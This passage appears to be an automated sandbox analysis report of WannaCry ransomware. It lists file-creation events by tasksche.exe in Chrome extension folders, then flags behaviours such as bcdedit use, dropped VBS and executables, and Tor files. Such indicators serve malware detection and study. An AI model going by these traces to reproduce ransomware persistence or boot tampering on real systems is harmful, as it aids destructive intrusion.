Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\et\~SD9764.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\eu\~SD9765.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fa\~SD9766.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fi\~SD9776.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fil\~SD9777.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fr\~SD9788.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\fr_CA\~SD9789.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\gl\~SD979A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\gu\~SD979B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hi\~SD97AB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hr\~SD97AC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hu\~SD97AD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\hy\~SD97AE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\id\~SD97AF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\is\~SD97C0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\it\~SD97C1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\iw\~SD97C2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ja\~SD97C3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ka\~SD97D4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\km\~SD97D5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\kn\~SD97D6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ko\~SD97D7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lo\~SD97E7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lt\~SD97E8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\lv\~SD97E9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ml\~SD97EA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\mn\~SD97FB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\mr\~SD97FC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ms\~SD97FD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ne\~SD97FE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\nl\~SD980E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\no\~SD980F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pl\~SD9810.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pt_BR\~SD9811.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\pt_PT\~SD9812.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ro\~SD9842.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ru\~SD9843.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\si\~SD9844.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sk\~SD9845.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sl\~SD9856.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sr\~SD9857.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sv\~SD9858.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\sw\~SD9859.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ta\~SD985A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\te\~SD985B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\th\~SD986C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\tr\~SD986D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\uk\~SD986E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ur\~SD986F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\vi\~SD987F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\zh_CN\~SD9880.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\zh_HK\~SD9881.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\zh_TW\~SD9882.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\zu\~SD9893.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_metadata\~SD9894.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\~SD9895.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\~SD9896.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\css\~SD9897.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\html\~SD98A7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\~SD98A8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\~SD98A9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\bg\~SD98AA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\ca\~SD98BB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\cs\~SD98BC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\da\~SD98BD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\de\~SD98BE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\el\~SD98BF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\en\~SD98D0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\en_GB\~SD98D1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\es\~SD98D2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\es_419\~SD98D3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\et\~SD98D4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\fi\~SD98D5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\fil\~SD98D6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\fr\~SD98E6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\hi\~SD98E7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\hr\~SD98E8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\hu\~SD98E9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\id\~SD98EA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\it\~SD98EB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\ja\~SD98FC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\ko\~SD98FD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\lt\~SD98FE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\lv\~SD98FF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\nb\~SD9900.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\nl\~SD9901.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\pl\~SD9902.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\pt_BR\~SD9913.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\pt_PT\~SD9914.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\ro\~SD9915.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\ru\~SD9916.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\sk\~SD9917.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\sl\~SD9918.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\sr\~SD9919.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\sv\~SD9929.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\th\~SD992A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\tr\~SD992B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\uk\~SD992C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\vi\~SD992D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\zh_CN\~SD992E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_locales\zh_TW\~SD992F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\_metadata\~SD9940.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\~SD9941.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\~SD9942.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\~SD9943.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\ar\~SD9944.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\bg\~SD9945.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\ca\~SD9955.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\cs\~SD9956.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\da\~SD9957.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\de\~SD9958.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\el\~SD9959.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\en\~SD995A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\_locales\es\~SD995B.tmp

May use bcdedit to modify the Windows boot settings

Show sources

Source: tasksche.exe

Binary or memory string: 4bcdedit.exe_

Command shell drops VBS files

Show sources

Source: C:\Windows\System32\cmd.exe

File created: C:\ProgramData\ywepvofkuzu108\m.vbs

Creates files in the system32 config directory

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\lock
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\state.tmp
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\unverified-microdesc-consensus.tmp
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-certs.tmp
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-microdesc-consensus.tmp
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	File created: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-microdescs.new

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\mssecsvc.exe

Executable created and started: C:\WINDOWS\tasksche.exe

Drops files with a non-matching file extension (content does not match file extension)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

File created: C:\ProgramData\ywepvofkuzu108\u.wnry

Uses bcdedit to modify the Windows boot settings

Show sources

